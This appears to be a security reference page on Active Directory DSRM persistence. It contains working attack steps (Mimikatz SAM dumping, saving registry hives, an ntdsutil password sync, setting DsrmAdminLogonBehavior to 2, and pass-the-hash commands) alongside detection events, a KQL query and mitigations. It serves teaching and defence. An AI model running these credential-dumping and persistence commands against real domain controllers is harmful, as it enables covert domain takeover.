How it works
When a server is promoted to a domain controller, the administrator sets a Directory Services Restore Mode (DSRM) password. It belongs to a local account: the built-in Administrator, RID 500, in the domain controller's own SAM database. The account exists so that someone can log on when the server is started in restore mode and the directory is offline.
That account has properties an attacker likes:
- It is not a domain account. It is not in the directory, it does not replicate, and no domain password reset changes it.
- Domain password policy does not apply to it, and it is rarely rotated after promotion.
- It is a local administrator on a domain controller.
By default the account is useless outside restore mode. A registry value on the domain controller changes that:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior (REG_DWORD)
| Value | Behavior |
|---|---|
absent or 0 |
The DSRM administrator can log on only when the server is started in DSRM |
1 |
It can also log on when the local AD DS service is stopped |
2 |
It can always log on, including over the network while the domain controller runs normally |
The persistence has two parts. The attacker learns the DSRM credential, by dumping its NT hash from the local SAM or by setting the password to one they know. Then they set DsrmAdminLogonBehavior to 2. From then on, the hash authenticates to the domain controller over NTLM as a local administrator. Because the account is local, the logon names the domain controller's computer name as the domain, for example DC01\Administrator, and the technique is pass the hash against the domain controller itself.
Variants
- Hash recovery online. Mimikatz
lsadump::samreads the local SAM on the running domain controller with a SYSTEM token. - Hash recovery offline. The
SAMandSYSTEMregistry hives are saved and parsed on another machine. The same hives are present in system state backups and virtual disk copies of domain controllers. - Password synchronization.
ntdsutilcan copy the current password of a domain account to the DSRM account in a one-time operation. The attacker picks an account whose password they know, and the DSRM password becomes that password. It does not follow later changes of the domain account. - Password reset. With the same tool the attacker can simply set a new DSRM password, at the cost of breaking the organization's documented recovery credential.
Prerequisites
- Administrator or SYSTEM on the target domain controller. Reading the SAM and writing under
HKLM\SYSTEM\CurrentControlSet\Control\Lsaboth require it. In practice the attacker already holds Domain Admin, so this is persistence, not escalation. - NTLM network logon to the domain controller must be possible for the later use, along with SMB or another remote administration service.
Check the current state of the value first:
Get-ItemProperty -LiteralPath 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa' |
Select-Object DsrmAdminLogonBehavior
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Get the DSRM hash
Online, with Mimikatz in an elevated session on the domain controller:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
The output lists the local SAM accounts. The DSRM account is the entry with RID : 000001f4 (500), normally named Administrator.
Offline, save the two hives and parse them elsewhere:
reg save HKLM\SAM C:\Windows\Temp\SAM.hiv
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hiv
secretsdump.py -sam SAM.hiv -system SYSTEM.hiv LOCAL
mimikatz # lsadump::sam /system:C:\Temp\SYSTEM.hiv /sam:C:\Temp\SAM.hiv
Alternative to step 1: set the DSRM password to a known one
ntdsutil copies the password of a domain account to the DSRM account on the local domain controller:
C:\> ntdsutil
ntdsutil: set dsrm password
Reset DSRM Administrator Password: sync from domain account alice
Reset DSRM Administrator Password: q
ntdsutil: q
The copy is made once. The attacker keeps the DSRM credential even if alice is later disabled, deleted or given a new password.
2. Allow the account to log on while the domain controller is running
New-ItemProperty -LiteralPath 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa' `
-Name 'DsrmAdminLogonBehavior' -Value 2 -PropertyType DWord -Force
3. Use the hash
From a Windows host, Mimikatz starts a process whose network credentials are the DSRM account. The /domain is the domain controller's computer name, because the account is local to it:
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /domain:DC01 /user:Administrator /ntlm:<nt-hash> /run:powershell.exe
In the new window:
dir \\DC01.corp.example.com\C$
From Linux:
nxc smb DC01.corp.example.com -u Administrator -H '<nt-hash>' --local-auth
smbclient.py 'DC01/Administrator@DC01.corp.example.com' -hashes ':<nt-hash>'
A local administrator session on a domain controller is enough to take everything else again: copy ntds.dit, run code as SYSTEM, or replicate credentials.
Impact
The attacker holds a standing administrator credential for a domain controller that sits outside the directory. The standard eviction steps after a domain compromise are resetting every privileged password, rotating krbtgt twice and removing rogue accounts. None of them changes the local SAM of a domain controller or the registry value. Months later the attacker passes the same hash, lands on the domain controller as a local administrator, and takes the domain back with NTDS.dit extraction or DCSync.
The scope is one domain controller per credential. Organizations that set the same DSRM password on every domain controller at promotion give the attacker all of them from a single dump.
The session is local administrator on the domain controller, not a domain identity. It cannot be used directly against member servers, because their SAM databases do not hold this account.
OPSEC and artifacts
- Offline hive parsing. Saving the hives and parsing them elsewhere avoids running Mimikatz on a domain controller. It still leaves
reg.exe saveprocess creation (4688, with the command line where that policy is on) and two hive files on disk until they are deleted. Online dumping leaves the Mimikatz process and its SYSTEM token impersonation for endpoint tooling to see. - Dumping instead of setting. Reading the existing hash changes nothing. Synchronizing or resetting the password writes event 4794 on the domain controller, and it invalidates the password in the organization's break-glass records, which is discovered at the next restore test.
- The registry value is the durable trace.
DsrmAdminLogonBehavior = 2stays in the registry for as long as the persistence is meant to work. With Audit Registry and a SACL on theLsakey the write is event 4657; Sysmon event 13 records it when configured. Some operators set the value only when they return, which requires them to still have another way in. - The logon. Each use is a network logon on the domain controller: event 4624 with logon type 3, authentication package NTLM, account name
Administratorand the domain controller's computer name as the account domain, followed by event 4672. Event 4776 records the NTLM validation of a local account by the domain controller itself. Local account logons to a domain controller are rare enough to stand out. - What the session does. Reading
C$is quieter than creating a service. Remote execution tools that install a service add event 7045 in the System log. - On the source host.
sekurlsa::pthopens LSASS to patch the new logon session, which process access monitoring records.
Detection
- The registry value. Read
DsrmAdminLogonBehavioron every domain controller on a schedule. A value of1or2is a finding, and2with no change record is an incident. Alert on writes to the value through 4657 or Sysmon 13. - DSRM password changes. Event 4794 outside a planned rotation. The DSRM password set detection rules are built on it. The event is generated only on domain controllers.
- Local administrator network logons to a domain controller. Event 4624 type 3 where the target domain name equals the domain controller's own computer name and the account is the RID 500 Administrator. Outside restore mode this should not occur. The pass-the-hash rules cover NTLM logons with reused hashes more generally.
- SAM hive access on a domain controller.
reg.exe saveofHKLM\SAMorHKLM\SYSTEM, and new hive files in temporary directories. See SAM, LSA secrets and cached credentials. ntdsutilwithset dsrm passwordin process command lines.
// Network logons to domain controllers with a local (non-domain) Administrator account
SecurityEvent
| where EventID == 4624 and LogonType == 3
| where TargetUserName =~ "Administrator"
| where TargetDomainName =~ Computer or Computer startswith strcat(TargetDomainName, ".")
| project TimeGenerated, Computer, TargetDomainName, TargetUserName, IpAddress, AuthenticationPackageName
| order by TimeGenerated desc
Limit the query to domain controllers. On member servers the same pattern is an ordinary local administrator logon.
Mitigation
- Keep
DsrmAdminLogonBehaviorabsent or0. Enforce it with a Group Policy registry setting on the Domain Controllers OU so that a changed value is put back, and report any deviation. - Use a unique, random DSRM password on every domain controller and rotate it. Windows LAPS can manage and back up the DSRM password of domain controllers when passwords are stored encrypted in Active Directory; the Windows LAPS guide covers the setup. Without LAPS, rotate it with
ntdsutilon a schedule and keep the result in a break-glass vault with access logging. - Reset DSRM passwords during incident recovery. After a domain compromise, reset the DSRM password on every domain controller and remove the registry value, in addition to the domain account and krbtgt resets.
- Do not synchronize the DSRM password from a domain account as a routine. If a process requires it, monitor event 4794 and rotate afterward.
- Restrict NTLM and administrative shares on domain controllers. The network use of the account depends on NTLM. Limit inbound NTLM where the environment allows, and allow SMB administrative access to domain controllers only from Tier 0 management hosts.
- Audit. Enable User Account Management, Logon, Credential Validation and Registry auditing on domain controllers, with a SACL on the
Lsakey, as described in the Active Directory audit policy guide. - Protect backups and virtual disks of domain controllers. They contain the SAM and SYSTEM hives, so anyone who can read them can extract the DSRM hash without touching the running server.
- Keep the attacker off the domain controller in the first place. The technique starts from administrator rights on a domain controller, so the tiering measures in the Active Directory hardening guide are the primary control.
Detection rules for this attack
Log events to collect
FAQ
What is the DSRM account?
Every domain controller has a local administrator account for Directory Services Restore Mode, the boot mode used to repair or restore the directory database. It is the built-in Administrator (RID 500) in the domain controller's local SAM, its password is set when the server is promoted, and it is separate from every domain account.
Why does a domain-wide password reset not remove DSRM persistence?
The DSRM account lives in the local SAM of each domain controller, not in the directory. Resetting domain administrator passwords and rotating krbtgt twice does not touch it. The DSRM password has to be reset on every domain controller with ntdsutil or Windows LAPS, and the DsrmAdminLogonBehavior value has to be removed.
What does DsrmAdminLogonBehavior do?
It is a DWORD value under HKLM\SYSTEM\CurrentControlSet\Control\Lsa. Absent or 0, the DSRM account can only log on when the server is started in restore mode. With 1 it can log on when the AD DS service is stopped. With 2 it can log on at any time, including over the network while the domain controller runs normally.
How is DSRM abuse detected?
Check the DsrmAdminLogonBehavior value on every domain controller; any value other than 0 or absent needs an explanation. Event 4794 records an attempt to set the DSRM password. A successful network logon (4624 type 3, NTLM) where the account domain is the domain controller's own computer name and the account is Administrator is the credential in use.
References
- OS Credential Dumping: Security Account Manager, T1003.002 (MITRE ATT&CK)
- Reset the Directory Services Restore Mode administrator account password (Microsoft Learn)
- 4794(S, F): An attempt was made to set the Directory Services Restore Mode administrator password (Microsoft Learn)
- Sneaky Active Directory Persistence #11: Directory Service Restore Mode (ADSecurity)
- Sneaky Active Directory Persistence #13: DSRM Persistence v2 (ADSecurity)
- Mimikatz wiki: lsadump module
- Windows LAPS overview (Microsoft Learn)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.